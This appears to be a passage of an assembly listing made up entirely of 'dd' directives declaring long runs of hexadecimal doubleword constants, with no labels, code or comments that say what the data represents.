		dd 7316AA3Fh, 7E007980h, 20D63604h, 2F5A0037h, 95604B12h
		dd 1B0065C0h, 525FA3C1h, 1FE1214Dh, 0DF8A153Ah,	196FCB6Eh
		dd 2B24F300h, 4B00CAC6h, 0DB8BC985h, 0EE277F96h, 5A0F0001h
		dd 9B134253h, 3A006FCCh, 69A1A07Dh, 7F83552Ch, 0D7CD0015h
		dd 0C79CE8B1h, 0FB00E2EFh, 9338EC5Eh, 5DC590h, 30FA4F71h
		dd 4B5243DBh, 7B703C00h, 0D159658Fh, 9AF62E6Eh,	0E23A025Ah
		dd 1FC041FCh, 160001DDh, 56393DE8h, 1D7D0B9h, 5D28E9BEh
		dd 0C4C4F122h, 50248A76h, 5907ABFFh, 0A60CBF7h,	4BAE4Ch
		dd 0FE9F58E8h, 0E7D75412h, 0C9736600h, 0DC69516Dh, 91793FBFh
		dd 0F196C200h, 340CD8E5h, 9C8D7A00h, 0A1A7BE40h, 8E8500FEh
		dd 584FC1A4h, 0EE030DD0h, 0E95AB01Dh, 6A35C89Ch, 132F0EFh
		dd 1BE3D937h, 0F4465157h
		dd 2A48A78Dh, 0F7E40364h, 0E85D5EEBh, 2CEEB0h, 6C1F7147h
		dd 0AB3864A1h, 0A5368C00h, 3C1EC302h, 0CB060022h, 0DAB1370Eh
		dd 7D00B4A9h, 0F99F2584h, 0F6C805FEh, 7A41C8Dh,	0A29740CAh
		dd 0A3506142h, 0A0F28224h, 0A10EFB17h, 59CEC085h, 2CD6FFAFh
		dd 14A93Eh, 0C30D9A17h,	6400ABE8h, 0E0E78143h, 762CFA8h
		dd 0EB0F10CDh, 0E4D30080h, 4A008E32h, 3891BFFEh, 0F56CA40h
		dd 558B5722h, 0DB60534Eh, 0C7F9D860h, 16017170h, 0C254A9F5h
		dd 0F6E81489h, 682B00D5h, 0E4730C44h, 0B007CAAh, 636C8BB3h
		dd 77A85893h, 0F6F3003Eh, 0F2CD5968h, 0FC009407h, 2273C1EDh
		dd 1703DF9h, 0EEB6FA4Dh, 0FC384E4Ah, 251D7D9Bh,	2C808913h
		dd 0A061C9DFh, 8FAB07A8h, 50C3B377h, 0CDBD3D6Ch, 0F5F3491Ch
		dd 0CF677E8Eh, 8D2F020Ch, 6942E029h, 0EBAD009Ch, 13B15015h
		dd 88E4F494h, 0A270D100h, 4D3092B2h, 0ED6EE14h,	0CB21FEA9h
		dd 0E6C0228Eh, 0ABDE68F5h, 240705B8h, 4F1E1967h, 4D2263F0h
		dd 6277126Fh, 91430008h, 505CA13Eh, 61B82600h, 0BB147F75h
		dd 1D0C005Dh, 3590187Ah, 0EC045325h, 78BC4B7Eh,	5E8CCBC0h
		dd 7A440004h, 66BFC759h, 0FEEC9B87h, 98DDC800h,	1675E350h
		dd 0CC2E0172h, 85B334A5h, 0B3C8473Ah, 38A8B1D1h, 0DB032863h
		dd 0E2F036DFh, 4DAEB0DEh, 0C25F0098h, 85C40BBFh, 0C00FB19h
		dd 7BBE4C1Ah, 715795Bh,	64589F6Eh, 0E31EC022h, 2D00FBCFh
		dd 0F64A1F8Dh, 20486Ch,	7146D84Bh, 0EDB764F1h, 62373600h
		dd 59FF1340h, 0B22D0020h, 83F6A89Dh, 93FA6BC4h,	6F456300h
		dd 0B65CA3F4h, 0E297001Bh, 0B54F48F2h, 2939654Ah, 0F033A891h
		dd 804C993Dh, 0AFF2180Ch, 5CFB41h, 3B50A228h, 9E32AC02h
		dd 25E0D400h, 5E376FC1h, 0FCF90FBCh, 90C026C2h,	7A38E4B6h
		dd 0E18FED00h, 45C80402h, 40D10F8Bh, 910551h, 545D5578h
		dd 0F2AD13h, 0AB04E074h, 0F501778Eh, 863DB100h,	147D4B22h
		dd 0A680008Dh, 9528F8F7h, 0AC0024BEh, 78DA44E7h, 0E1D618Ah
		dd 41A30F5Fh, 3813E903h, 97CD00CDh, 36F73A46h, 0CC05FE7Eh
		dd 406AD692h, 0AFDEE900h, 98A9A5B2h, 0D13C3D50h, 938C7400h
		dd 0C32255EFh, 2D00CCF8h, 3EDA9C7Bh, 60EA717Ch,	981F30A4h
		dd 7470D5C4h, 63899B00h, 0E34A4DABh, 74B248E0h,	0BECF5C00h
		dd 75B57A59h, 8B76D400h, 0A52D3C23h, 0C73E000Fh, 0E0FF5A31h
		dd 5D00977Eh, 4C27765Eh, 70143B6h, 77DD7BE9h, 755A80AAh
		dd 4D00A84Eh, 8BC0F6B9h, 0E21978h, 1326FC49h, 6DD03A97h
		dd 0F858871Fh, 3F295480h, 90C15031h, 5C60E740h,	16021C07h
		dd 2C19404Fh, 3B8DDB2Eh, 1D6F5D00h, 0DF73EA8Fh,	0BE7718D6h
		dd 0B0B2E840h, 0EB1F7503h, 988FCDCFh, 1B43F1Eh,	8EFCEDB6h
		dd 604373AFh, 0B017942h, 1944AD7Ah, 25D8DFA5h, 5EFE014Bh
		dd 8DA010C9h, 4FF6C0BCh, 0B0C0777Dh, 47FDDD9Ch,	458B03CDh
		dd 76ADF17h, 0C9A435E0h, 65417860h, 0E6F7E6C6h,	0AAA200EEh
		dd 3352EAF9h, 4A3E220Ch, 0DA8A801Dh, 98667DD2h,	884200CAh
		dd 34EC90D8h, 8700CDDDh, 0DF45367Fh, 0C68265h, 98B780AAh
		dd 56A046F7h, 4E167D04h, 4C1B86Ch, 0A4203D70h, 95AD00F8h
		dd 0D02E0FE6h, 0FF00161Eh, 91ABFA8h, 28AF29Fh, 497302A6h
		dd 9460EC7Eh, 47004A78h, 639493EEh, 0F98DCAh, 2EFCB489h
		dd 50C3C48Ah, 8EB839h, 29DD83EFh, 0FAD7D66h, 166D4ABAh
		dd 0C01405C0h, 5B004C96h, 20F737BDh, 0A0F0E7C5h, 8830D69Ch
		dd 5C993554h, 2C4E1E00h, 7A856Fh, 0D02BBFA3h, 6E65209h
		dd 5D809B09h, 0C140A04Eh, 0FC979Eh, 4435D43Dh, 832F248Bh
		dd 29C4EC1Dh, 0E2DC7FC0h, 69DA3Fh, 243BBDC1h, 3C1F8A27h
		dd 0D9C7AD00h, 0AAE59FBBh, 3A6A0072h, 97999C90h, 0B1001BA3h
		dd 0CA2180DFh, 6E2036h,	0B6131217h, 29FEC1F5h, 92F097h
		dd 4D6353BEh, 0DBA487Ah, 0EC3C5400h, 2E6DC297h,	0DEE70087h
		dd 0FDAB64BDh, 0CFFEF8F2h, 0EFAC6100h, 92F605FCh, 27490078h
		dd 7A0612D5h, 40009ED8h, 0BDA26E67h, 48084807h,	0D10A11BEh
		dd 98BBB7h, 0DA6EC568h,	0ED0FB553h, 403AA73Eh, 0E0878F56h
		dd 71150078h, 4B3316F6h, 0AE1E808Bh, 381C21CDh,	96BE53C0h
		dd 0DC3CFBh, 51CE9732h,	8E81F71Fh, 0B8BC400h, 93A126B6h
		dd 0E0500A18h, 3D00C71h, 0FA5CF6B3h, 1E08095h, 242946AAh
		dd 9804D44Ch, 20C08A59h, 7D8F2Eh, 0CB826B23h, 7609C678h
		dd 93B14000h, 140394F1h, 638A0E33h, 52800C4Ah, 5C9F1073h
		dd 0EC215E07h, 91D71B4Bh, 0E01241D0h, 59B0FFh, 9907A001h
		dd 63CB4A3h, 0E6980C00h, 0D35A7440h, 4370022h, 0CD5D92F7h
		dd 0D8005747h, 3CC7FDCFh, 5ECBA1h, 155BAA19h, 53B39364h
		dd 10F59B00h, 0B5941E80h, 4BBB03F6h, 7C675024h,	0B2C9B6E0h
		dd 65EE8400h, 0F0AE8D5Ah, 3787544h, 22420608h, 0BB88C2E2h
		dd 1B0083C9h, 82B14533h, 7A9B3594h, 0D7A33C01h,	2E477C80h
		dd 36C7FF6Fh, 7966A100h, 0BB11FB10h, 63AD3A97h,	0C990B700h
		dd 0F33E455Fh, 0B81CEF00h, 0D58ACA30h, 0C720047h, 75692409h
		dd 380015C9h, 92B428DBh, 785125h, 543F67E4h, 882C4DD3h
		dd 0E5552900h, 1EB3DDF8h, 0CEBD00B2h, 74BF7F23h, 0CA7385A2h
		dd 0C43139h, 8D06FE34h,	0A7E260h, 79B582EBh, 3DBBB87Ah
		dd 6C626403h, 0C87E2F97h, 5F78EAh, 4D466632h, 4E05D6E4h
		dd 5B35D800h, 42A7C426h, 3CEC76AAh, 86800311h, 0DF7227CAh
		dd 0DC005DB9h, 1A78CE43h, 753506E8h, 0D0BA0066h, 0A72D54B5h
		dd 0DC1EC259h, 8700054Ah, 69B1BFD2h, 25FE0Eh, 56B390A9h
		dd 0C095FDBDh, 0A4008BF2h, 0E4F73FC3h, 2D66AA6h, 0E35BDDEAh
		dd 0F4C30A8Ch, 61316F90h, 0D27CCA00h, 4E17B96Bh, 450B1676h
		dd 976A0E39h, 9132DD20h, 5300E483h, 0A69D6214h,	705B3CCh
		dd 7566D428h, 0C6060DFh, 5D0176FBh, 0CECAE39Fh,	0E8EBB85Bh
		dd 3EBBC6D7h, 1C003A12h, 294D2035h, 1F1C59DCh, 4B40EE0Dh
		dd 8DC46164h, 4C7D1EF5h, 0B142C0E4h, 0ED5D7363h, 0A3CB0E00h
		dd 0BA85B829h, 0FECA4ACh, 5F22725Bh, 9D09FEE0h,	2D00CDA2h
		dd 9F745249h, 3F0B87h, 0CA703A2Ah, 0F65D3784h, 3023100Ch
		dd 0BD021E7h, 3EA6C621h, 0E9B8A100h, 0AA00F41Eh, 0FC9A4142h
		dd 23F059h, 8B202DB6h, 4544DFC7h, 0E83B9200h, 4042FE56h
		dd 6AF10FD8h, 70E0E67Fh, 5AAC16C8h, 2AC13C00h, 5EF3A3DEh
		dd 127BCAh, 734933CDh, 0AF04324Dh, 1AA1FC00h, 9CEC71E6h
		dd 0CF370094h, 6D973A7Bh, 8CA0772Bh, 2F000CCCh,	0D482719Ah
		dd 18AB85h, 0D3030EF4h,	816DF2B1h, 0D98E9300h, 46E985Dh
		dd 9D1407D1h, 97FFBE76h, 0E5AB60A3h, 7200E018h,	0A40FDB02h
		dd 985BCFBBh, 66C0069h,	0A2D5A048h, 1D00AF14h, 12C2EB2Ah
		dd 71E08539h, 0FC0838CAh, 0D10AB100h, 45A1CD1Bh, 8203DE00h
		dd 0A7EF6BF9h, 0E0CE0F57h, 0B260D3DCh, 1B2848E4h, 42B01A00h
		dd 0F4225925h, 0BFCD1EBBh, 183FA53h, 1195827Ah,	0DCA67C00h
		dd 0CC8D97E3h, 8CF0094h, 580E4155h, 0FD50FEB0h,	1C3D25B0h
		dd 0D7F680A5h, 1D4061BFh, 0A484241Eh, 2E190018h, 63BCA3ACh
		dd 9DED4B01h, 1586D37Eh, 6CCA6FDh, 5309008Bh, 0E9C3C808h
		dd 1E245F51h, 4213F4B9h, 0BD207A00h, 1E1440EDh,	0E430758Dh
		dd 0D37A2784h, 8B24481Fh, 768A60Eh, 3F079E7h, 1F9934EFh
		dd 95DC3Eh, 260855CDh, 31C96438h, 52D400F8h, 78FE5199h
		dd 0A120033Fh, 5FE2BC83h
		dd 736DDBA8h, 5DB34400h, 0B2577986h, 2A080147h,	23220A5Eh
		dd 16B82004h, 4A416700h, 8106658Bh, 1B950087h, 22A6AB30h
		dd 0FD007660h, 77BDD5B8h, 2C8C3Ch, 0CFBC2EEh, 38C5B012h
		dd 9DA2DE00h, 73265824h, 3B987C70h, 238064F2h, 2A8431FAh
		dd 0F8907646h, 0D4062C1Dh, 980B864h, 0FEC2DA65h, 54BF007Ch
		dd 0E277537h, 0CC0F1EF2h, 0C3391ABEh, 0B0CD9E3Ch, 715517h
		dd 0C793C3EFh, 0B9CABB0Fh, 156BBC00h, 0A33B9635h, 0A2410014h
		dd 28A54D8Ah, 314B607h,	26B87397h, 0E80FAC74h, 1F904033h
		dd 0D381CFh, 75917CB9h,	7BD535E1h, 0DFA03090h, 4EF22207h
		dd 3BE39A00h, 8B03C1ACh, 0C944160Ah, 0C7ECA2h, 1F685224h
		dd 923FCC0h, 6C284F10h,	0B5690F00h, 0C100F3E6h,	0ABD739BAh
		dd 4F6B3Eh, 2751A337h, 0DD729534h, 39435F1Fh, 0EB486C00h
		dd 82ADE2h, 0B08EEDB3h,	49068AA7h, 0DE0E1226h, 966FB601h
		dd 5EE0EE7Ch, 0D5C5008Ch, 13CCBBD0h, 32008471h,	0C375FE0h
		dd 477AC6h, 570E927Fh, 0D021E512h, 4F14F107h, 6D006F1Fh
		dd 0A4A672h, 39D880A8h,	0E403A363h, 2CC019DEh, 0E2E624BBh
		dd 0BFBE025Ch, 0BA964549h, 6E09E960h, 693B030Ch, 950311Ch
		dd 0AE407519h, 0C785CC80h, 800E761Fh, 40E1E8ACh, 0F560B2A4h
		dd 4F080036h, 0FC064566h, 4200C339h, 1930A920h,	2CB302h
		dd 64C89248h, 0AAD51F38h, 8DF26800h, 84F83A32h,	0DDDC39CAh
		dd 211836BEh, 49051086h, 6D20A5F0h, 3D7B85h, 0B82443DDh
		dd 0B14F69B2h, 0EDAE8E03h, 0E3F232A6h, 0D93FF0C6h, 0E4D0019h
		dd 6E2F041Dh, 0AFE037ADh, 0F5A99500h, 0AE028D50h, 682D6057h
		dd 96067E5Bh, 7BB96522h, 11F500D5h, 88926EACh, 8305B6A2h
		dd 91E924F1h, 0C103844Eh, 0C3F5DC8Dh, 0C40F0F1h, 0E22D1C7Bh
		dd 65500026h, 9B01D80Eh, 0C1009D84h, 182BAA7Ch,	0B033D485h
		dd 0E6A600C0h, 723A3FEDh, 0E700255Ah, 0C11A14CEh, 0EBBDDBh
		dd 0C8FF0859h, 3E8A5D32h, 9E64D907h, 0F6A08F2Ah, 0EC554E47h
		dd 0CBE29Fh, 2C011132h,	945AD3A7h, 0AF4CA018h, 1B8FB8E0h
		dd 0F13D2634h, 0B804A842h, 0F5DB3095h, 36BA4310h, 7A4BC8C1h
		dd 0D720AFC5h, 2A1B00EAh, 5B4395B0h, 3C19CEF4h,	66293DF8h
		dd 0F6440208h, 1D5C44A7h, 0EBB2C244h, 1182D211h, 0F7115D9Bh
		dd 20BE12C4h, 238CACD4h, 8038C838h, 78D68FEh, 70B1D7h
		dd 596BB2C3h, 8BA17B41h, 33E49F03h, 91DD4FCEh, 5D205020h
		dd 7BC7FDEh, 10124D49h,	0C55EE009h, 0B5005832h,	1842A244h
		dd 3AF469h, 9FDAAABAh, 56FC797Ah, 0FAFE48FCh, 595CB91Ch
		dd 0A1CEBD40h, 33B15Dh,	0DB94E367h, 9C787DFEh, 6C86BA07h
		dd 107C3050h, 0B1F700FAh, 0EDF948FBh, 5454EECFh, 2400DEB4h
		dd 0BBA38BC9h, 0F932FDh, 0BFB52615h, 0B3551913h, 0FF017979h
		dd 83812163h, 0E0FCCDA9h, 90420091h, 0CF24CCFBh, 0D09AB4A8h
		dd 9CD73C00h, 4B23D539h, 4215006Ch, 75E261E6h, 409FA1Dh
		dd 801EDB40h, 0D40E4486h, 6BAC00C2h, 13350954h,	1D00BB72h
		dd 0B3683B71h, 9888D28Ch, 73D0039h, 9847892Fh, 0AE001929h
		dd 0CE9796E5h, 0D53066h, 1A49F8FCh, 0C35FDFF5h,	0E47CDC00h
		dd 0EE4259E1h, 0BE218h,	0F8E277C2h, 0BBFA5E55h,	475BB714h
		dd 8D3F90h, 22CDC0E6h, 4CB61324h, 0FF00B58Eh, 9023BB5Ah
		dd 0F671874Fh, 631C1FF6h, 725E22BFh, 0D50EA440h, 90B6F018h
		dd 7E890BF4h, 5E87992Fh, 6D8BC022h, 1300104Bh, 2DDE8F67h
		dd 0E0B82509h, 0B661016Fh, 0DBF2BF17h, 0D838C45Ch, 9B009CF2h
		dd 0B5E4633Ch, 0EFE619Eh, 0A5909D3h, 93F222C0h,	3E00F957h
		dd 0AA235D3Dh, 5B0821h,	0B4D46453h, 88F7E314h, 96E64100h
		dd 4A9386CDh, 0BB3F007Bh, 23A2C42Bh, 7F008227h,	0EE725CE6h
		dd 482E9233h, 1B0CAF80h, 0BF11319Eh, 35B99C00h,	0F8490B40h
		dd 0F374007Ch, 0C57F325Dh, 270EFFEEh, 3358B1CBh, 4FBE0040h
		dd 1B57D3h, 0B353B243h,	0D1E91F7Fh, 6708E800h, 881C899Fh
		dd 0E799813h, 0F0692704h, 7112007Ch, 0B2B6665h,	0ADCA2E00h
		dd 0A459821h, 4EE305BCh, 16B0BDh, 885943D2h, 0B5073472h
		dd 8E6D91B8h, 663C9380h, 26FE002Ch, 2211305Bh, 24F675ECh
		dd 4B3B5900h, 0A4270BA1h, 41650049h, 9C7F8EE3h,	577EB3CCh
		dd 59A0FF00h, 7497EE38h, 2B5D00AEh, 5FC4B15Bh, 3304C5F3h
		dd 7F54296Ah, 92C94C81h, 1E7760FCh, 80A70E84h, 5A59B7E2h
		dd 0B5141FF2h, 88ADA6h,	0E1783A89h, 512D41h, 99DD65D4h
		dd 0F3A5CC5Ah, 689A48h,	68A97413h, 7AC9ED3h, 0E50628D4h
		dd 44C440F7h, 3DF08267h, 2BB0A01Dh, 8F1D4607h, 0E71FC260h
		dd 30DF00AAh, 8998CC41h, 0BEE8A26h, 69E6A30Fh, 0F904A014h
		dd 0B468095h, 9BAD896Bh, 0CAF34080h, 693E61E8h,	9CD801E2h
		dd 0E434FF6Dh, 7F03834h, 0CB38BBFEh, 0A41790h, 2328549Bh
		dd 0AC45D20Bh, 2095488h, 1785FF7Eh, 0B1823440h,	5794861Dh
		dd 5AEA13C7h, 0D3AC00C9h, 0E9D3B0Ch, 0F1F237Ch,	26AF0480h
		dd 5269868h, 8A006510h,	2984D06Bh, 0AFB1C01Fh, 0E3F0B556h
		dd 0CFE03F12h, 5BC84C01h, 398193BBh, 0FBCA064Ah, 88442037h
		dd 4C6EFE00h, 73322C38h, 0BBF643h, 0C70A2EA9h, 0CBE35193h
		dd 0D28D3D0Ch, 1F95409Ch, 40BD5681h, 0B7E9F4EAh, 5D00D1B8h
		dd 89AE2DF2h, 1C72196Eh, 26257E3Ch, 46AC00F0h, 7B503E0Fh
		dd 7A73580Fh, 77A4E039h, 0D59DB3h, 0EE180B56h, 7F55699Bh
		dd 2FC7D400h, 0FF71DCC9h, 0DEFE0045h, 9F2C12CEh, 0D0005677h
		dd 0ABFBB0A4h, 4D59DDh,	1B34928Fh, 8E6F9CCAh, 323ED800h
		dd 72DBD780h, 79E40089h, 6982E3B6h, 0C04AACEEh,	6B0114FCh
		dd 1C7E769Bh, 4DB5C017h, 2A8111C0h, 0F815CBh, 829EB013h
		dd 6FF03093h, 0E1226000h, 617CC053h, 8E080088h,	0F265915Fh
		dd 0D0059752h, 0EE7D514h, 0ABAE64D0h, 7A020046h, 4454B104h
		dd 85260157h, 1638F0ADh, 6600F97Eh, 0A571BE2Fh,	1CFF0050h
		dd 0CE37A377h, 9C07790Eh, 6943840Ah, 0B6DF8079h, 6BA609h
		dd 0AE13B7C3h, 43EE40BFh, 0ADD83700h, 0A5DA4695h, 0CB633BC9h
		dd 4CBC9780h, 4EF1868Bh, 0F0EF0D00h, 1968C2C6h,	0F6D4EA66h
		dd 0A7C50FB8h, 0CA81298Bh, 0C8E5E664h, 0BC13BBD7h, 1C001FC3h
		dd 9822D9C5h, 1D8B029Dh, 542A0B70h, 0B72BC2E0h,	1C946300h
		dd 69C34F0h, 1CE090B0h,	0DD9DE9h, 0EA318CA1h, 0C600BD45h
		dd 5E832D55h, 0E98EA7h,	8A489473h, 0F50C8033h, 0C5B11900h
		dd 0A4250B95h, 7AE20006h, 4BA3371Dh, 7740655Eh,	473F1622h
		dd 16F05EA9h, 1AF30052h, 0A0BC335Dh, 44B86C00h,	1FEB3587h
		dd 8CA75DBDh, 2B584E07h, 0DAC1F0F2h, 0AD00932Ch, 3EDF0FCh
		dd 5E720h, 522B1F01h, 8A151229h, 5E32D82Fh, 9E9F0080h
		dd 82377D9Ch, 80B3170Eh, 1FFAC0BEh, 703187h, 0AB7EA9F5h
		dd 9B2D38E7h, 0B8DDBF1Eh, 0EC0434D6h, 1080EE0Bh, 0A861B2h
		dd 9D7C1007h, 9536D7F9h, 0DAC98200h, 611D4FF2h,	552209B4h
		dd 48808058h, 7B6B1C42h, 0C00CA58h, 0B16A8E46h,	0FC8000AEh
		dd 0FDD6354Ch, 0DD009A61h, 5D7A3C64h, 60EA0642h, 0CF883613h
		dd 0D7EA2AEh, 0DC227B01h, 0B52A0A2Bh, 0C30BC8h,	34B00775h
		dd 988C0D09h, 0EE5BA907h, 0FB47421Bh, 31271D60h, 848113AAh
		dd 0BF4C0065h, 5171A1F7h, 0FA01FC24h, 9F902B00h, 2E49C813h
		dd 1041EB3h, 325CE1EBh,	0B8E8342Dh, 5C73C75Ch, 941000E8h
		dd 0D7C0EB52h, 95D10292h
		dd 0BB07C4ACh, 405B30E0h, 5F315D00h, 0C08030F0h, 0B80B5ED3h
		dd 686C00F7h, 5609C104h, 117100ABh, 415BCFA7h, 29017036h
		dd 0DDE42658h, 3C2454BDh, 630B3DBEh, 52680180h,	3F9E5150h
		dd 6C5DC200h, 8316BDE9h, 0AEFC0063h, 7F5ED5Ah, 3600A6A8h
		dd 0B08E88CEh, 7F770Ah,	8038558Dh, 35055048h, 0CF95D1Dh
		dd 7719F6C7h, 0C2D9FCh,	0C008BFC3h, 8E3A6CDFh, 3D1DE11Dh
		dd 0D700E86Ah, 0C0966023h, 1329C6EFh, 1E40E14h,	0B676AB0Ch
		dd 0B4F8E812h, 0D3249C7Bh, 94042413h, 57045B50h, 0BA1E0024h
		dd 655640h, 0DE597B91h,	4A37AFA7h, 1066FB24h, 64DA8A80h
		dd 0DD358EE0h, 0D4F3C610h, 1513B04Bh, 5001DFDBh, 595FABC4h
		dd 96D1C4h, 2AFA5D18h, 1E080216h, 8C98CD01h, 0AD9CDFDAh
		dd 762ED0h, 7587EE19h, 34E2F1B7h, 75ADC0Ah, 290080BEh
		dd 9E96BB6Bh, 0C3950705h, 325FADC5h, 0F4807920h, 63BFAB38h
		dd 0D56B3Ah, 27FEB336h,	5CB222B6h, 0F016016h, 60D08DCAh
		dd 8E0F067h, 4A426200h,	5A7170E5h, 6B93008Bh, 65B74FDCh
		dd 1B0E15D6h, 20B83818h, 9427E9F7h, 6ED903A6h, 4E92D51Fh
		dd 2D4CDAD8h, 0F59A6000h, 5F059674h, 3AF67186h,	3193D28Fh
		dd 11B1FD3h, 8B16F43Eh,	0CD33E8AAh, 48A08E90h, 141C171Eh
		dd 0FA0F7619h, 62C0A011h, 25A6D46h, 0B36A08Ch, 70C055A1h
		dd 0A203F09Dh, 0DD9E47C6h, 53398826h, 492A5834h, 3E00684Ch
		dd 2CDE92C0h, 0E21EAAC8h, 95001658h, 7319ABA1h,	0E7D8D07Fh
		dd 0C066741Dh, 0D55F8051h, 2D00646Ah, 0BBD49ECBh, 7D8F0EBFh
		dd 4F7DC7h, 0A20823D8h,	3BC8581h, 7CB6218h, 18CF28h, 79897A6Eh
		dd 7FDF7B3Fh, 48C5E21Ch, 8A768CC1h, 109FE6D5h, 4F0A86CDh
		dd 550021C4h, 243D79B8h, 0EE785412h, 0ED745Dh, 0D47EA021h
		dd 314134F2h, 881A4700h, 71DB44B5h, 0EAF0D9h, 0B23518Ah
		dd 0F270B783h, 0AF19591Fh, 0E0CC2ECEh, 0B0CE67CAh, 91440013h
		dd 0DA175D9Bh, 0D0008146h, 801C0D6h, 1DF63Bh, 4A137A76h
		dd 2E0C36B8h, 0CD009FE4h, 88892D04h, 0F00D22h, 19F3BE42h
		dd 0A92BC5BBh, 0F487FE02h, 80350C3Dh, 0FBC10BB9h, 79F7126Ch
		dd 37D440A0h, 0C47D5293h, 0C7633200h, 0A53338F4h, 2EF806h
		dd 7A052F80h, 1FC0599Dh, 0D06A5205h, 0C8800BB1h, 0E8F11EF5h
		dd 246C24D2h, 0FB460E10h, 0BA8EDA3h, 2A741000h,	6461D27Dh
		dd 65B500E8h, 3718997Ch, 618F2A8h, 0A2281E8Bh, 0E7EC9Ch
		dd 0F62C8446h, 148D325Dh, 0F8CD48h, 0FAA6AF67h,	3F830A9Dh
		dd 528F85E2h, 0E5208D0Dh, 66BB0D2h, 26B7A70Bh, 82288019h
		dd 2D2B83h, 0F917A0B6h,	320B8E3Eh, 8F7D0098h, 0DA7E7700h
		dd 82C44ED5h, 399B607Fh, 0F63FACF2h, 9632C500h,	731CE621h
		dd 8486131Bh, 0C0EC1DB5h, 779EDE09h, 0A3E0D01Dh, 810E603Ch
		dd 8E15F36Bh, 28302783h, 0ABB8CFh, 3EC6E1FAh, 50368D59h
		dd 0DE6C9100h, 9F18E484h, 58177F45h, 7D00DFC4h,	0BEC88599h
		dd 0D400602Eh, 3C93C7B0h, 0F4D7B798h, 0A3C637AAh, 0C46351A8h
		dd 50303483h, 0D2582BE2h, 5D7409A0h, 3A506027h,	332A00ABh
		dd 0BF70E08h, 3800ADEBh, 0BC6AE485h, 1D23491Ch,	8083F905h
		dd 64F4C5A0h, 0C40028D4h, 25A1DAAAh, 189D76B9h,	615201C2h
		dd 78003F17h, 1B206DD3h, 293B627Ah, 11B0666Bh, 8FD93DEDh
		dd 0A034A1BCh, 12C26115h, 33DA3063h, 49C56410h,	0CA75CBFCh
		dd 4C0FCF00h, 0CE9AEF2Ch, 936300EDh, 15EBB58Ch,	3212FDD4h
		dd 8020EA8h, 0ECECF13h,	754458E0h, 33001F84h, 8DA8B79Ah
		dd 0A3E4CCDh, 2543FA71h, 89DB008Ah, 135D556Dh, 34DD48h
		dd 53D72F47h, 0ACE469h,	18166A2Ch, 0A8D1C5D6h, 1980502Eh
		dd 52618103h, 7E100EA7h, 39605940h, 1677367Fh, 51BE0A12h
		dd 0C62E3000h, 4F2602E3h, 725C0095h, 0F9F48886h, 6B003190h
		dd 82B9088Dh, 1067566h,	29FD78CDh, 0DCD25CA7h, 51000C0Dh
		dd 191EF2E1h, 23ABAh, 2A42E846h, 0ABC1ED57h, 871832Ch
		dd 0D8843803h, 7CBBB0C8h, 1D9F801h, 3795305Ah, 3D27F06Fh
		dd 1BBF00F0h, 8C5D4576h, 99930084h, 0A9D92EE5h,	5A003AF7h
		dd 7B85A31Dh, 0E60572h,	0B1920306h, 9325FF80h, 8001553Eh
		dd 0B23C31F3h, 3DFD2ACh, 0A253C8F0h, 2E91071Bh,	88003B6Dh
		dd 5D690286h, 0ED83015Ah, 0EEFBD346h, 29D9DBBCh, 0FAFFE013h
		dd 65EB3700h, 741BAB83h, 1F1D0046h, 2A403D01h, 0E51388D2h
		dd 3200FAC0h, 0F2DCA061h, 42F601A3h, 71A8BDA7h,	0AFACD85Fh
		dd 80006578h, 497E249Dh, 4FED4Bh, 0B182DB86h, 3958909Eh
		dd 26FA4200h, 32E5A38h,	0EC1D0087h, 0E84A0F18h,	8517488Ah
		dd 6E001493h, 0DCD870ABh, 318D0064h, 0B4727850h, 3C002F03h
		dd 938C6B1Ah, 1C5B18D2h, 80C0C411h, 1B957E4Ah, 5E00B601h
		dd 0B04B1F8Ah, 0D44D30Bh, 562CBAB4h, 0A759F010h, 0E3C1F800h
		dd 0EF955D8Ah, 0BD0900A0h, 1BFC14AFh, 3700DC97h, 0BBE77AD0h
		dd 2C1346h, 0DEB8271Fh,	5DAABFBh, 0B43BE11Fh, 63476E40h
		dd 4DA1B3h, 8AC6CF7h, 0A8DA3F96h, 134A2900h, 0A973AB87h
		dd 8B270131h, 1AA5F109h, 9501F882h, 40584830h, 350ED67h
		dd 44C4AD8Dh, 1900A549h, 0A06ADD11h, 75ABD9h, 835DE6C2h
		dd 0DCA1EDD7h, 3301A8B8h, 182B3BF3h, 81C82092h,	0DE6010Eh
		dd 9D6C779h, 884880CEh,	0EAD73B8Dh, 0F0E02Ch, 8AFBD8BAh
		dd 0EBB2375Bh, 3C007C98h, 2485E9F4h, 0F8C19A4Bh, 3615185Fh
		dd 0BD03783Ah, 76A99200h, 967342F8h, 5FD40009h,	0B96D0447h
		dd 4D00D2A2h, 41307CC8h, 93A119h, 25D9F20Dh, 2CD04669h
		dd 0BC1E51Dh, 7159480h,	2C480517h, 0CD7FEFh, 5A8C9D2Ah
		dd 3E00F14Fh, 542EFBF6h, 0C1173h, 0D89AD2ADh, 61F43817h
		dd 744C7500h, 2528A71h,	0C3CA028Eh, 0D7EC0741h,	9E9FAA81h
		dd 0F37AF8F5h, 2F820D00h, 0BB08DFF6h, 0BEB41EE4h, 957B00B6h
		dd 0ED93AD68h, 643B88F0h, 8DBC807Eh, 96D60E70h,	73B702F1h
		dd 8309E4CDh, 7AABB940h, 0E8AE200h, 40DB0C0h, 12AA00ADh
		dd 281A4A6Bh, 0FD3D8DCBh, 0B746804Dh, 0B4E318FFh, 757A002Ah
		dd 2815BA70h, 4303E28Fh, 9183DF2Ch, 90103C46h, 9BD54080h
		dd 0B45CB2D2h, 81E11839h, 4762B55h, 2EF8CF66h, 78B30B52h
		dd 410099FBh, 483918E2h, 0C2FA5A00h, 42268CB9h,	1A23CBFh
		dd 719CAE80h, 904157A1h, 0ADC96600h, 43D3FB0Bh,	36F91F19h
		dd 0EB034444h, 0D0FC831Fh, 0D208BEF0h, 0B8BC0724h, 0C3B44900h
		dd 9C8E4Ah, 9A3EA3FEh, 0B368F2B0h, 0F499CD00h, 0A75D1A3Ah
		dd 0D673006Bh, 0E2FD7ACAh, 0C500763Eh, 0C384BCBDh, 54B3A21h
		dd 0F8C881F2h, 461400E7h, 43596A0Bh, 0D349BE00h, 0A2B5D886h
		dd 4A6106F3h, 991C6EA3h, 0A6428100h, 0D57D2522h, 80860055h
		dd 7745E52Dh, 6B062346h, 0C9F02E08h, 0F0E7B030h, 87640004h
		dd 0ABF6A62Fh, 0EF001E0Ch, 93CF7EF9h, 0F122D4h,	20E91CE7h
		dd 4783B4E5h, 0F863F40Fh, 7D5BC019h, 8A233Bh, 85BDAAE6h
		dd 3F2FC315h, 9951F00h,	284E2A01h, 0ED6900D7h, 19CD7FF4h
